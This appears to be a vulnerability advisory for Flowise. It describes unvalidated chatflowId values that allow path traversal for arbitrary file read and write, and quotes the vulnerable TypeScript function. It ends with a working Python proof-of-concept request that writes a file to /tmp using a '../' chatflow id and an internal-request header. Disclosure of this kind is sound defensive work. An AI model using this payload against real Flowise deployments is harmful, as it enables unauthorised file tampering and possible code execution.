Flowise has arbitrary file access due to missing chat flow id validation

Summary

Missing chat flow id validation allows an attacker to access arbitrary file.

Details

Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for filename when handling file upload operations to prevent path traversal, and additional validation of chatflowId and chatId from route /api/v1/attachments. In some cases, however, chatflowId and chatId are not validated to ensure they are UUIDs or numbers, which may lead to security issues.

Case 1

When creating new chatflow via /api/v1/chatflows, function addBase64FilesToStorage is called if there exists base64 file data. Although the filename is sanitized, the chatflowid comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.

export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {
    // ...
    } else {
        const dir = path.join(getStoragePath(), chatflowid)  // path traversal here
        if (!fs.existsSync(dir)) {
            fs.mkdirSync(dir, { recursive: true })
        }

        const splitDataURI = fileBase64.split(',')
        const filename = splitDataURI.pop()?.split(':')[1] ?? ''
        const bf = Buffer.from(splitDataURI.pop() || '', 'base64')
        const sanitizedFilename = _sanitizeFilename(filename)

        const filePath = path.join(dir, sanitizedFilename)
        fs.writeFileSync(filePath, bf)
        fileNames.push(sanitizedFilename)
        return 'FILE-STORAGE::' + JSON.stringify(fileNames)
    }
}

Case 2

When downloading file via /api/v1/openai-assistants-file/download or /api/v1/get-upload-file, function streamStorageFile is called to retrieve file data from local or cloud bucket. The chatflowId and chatId are used for file path generation. Take Amazon S3 as an example, its [documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that ../ will be treated as relative path.

Note that these APIs are in WHITELIST_URLS, an attacker may traverse user storage files without authentication.

PoC

Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir /tmp with content 'Hello, World!'.

import requests
import json
url = "http://localhost:8080/api/v1/chatflows"
headers = {"x-request-from": "internal"}
nodedata = {
  "category" : "Document Loaders",
  "inputs" : {
    "key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn"
  }
}
flownode = {
  "id" : "a",
  "data" : nodedata
}
flowdata = {
  "nodes" : [flownode],
  "edges" : [],
  "viewport" : {
    "x" : 1,
    "y" : 1,
    "zoom" : 1
  }
}
data = {
  "id" : "../../../../../tmp",
  "name" : "name",
  "flowData" : json.dumps(flowdata)
}
res = requests.post(url, json=data, headers=headers)

Impact

1. Arbitrary file read / write
2. Remote Code Execution
3. Data loss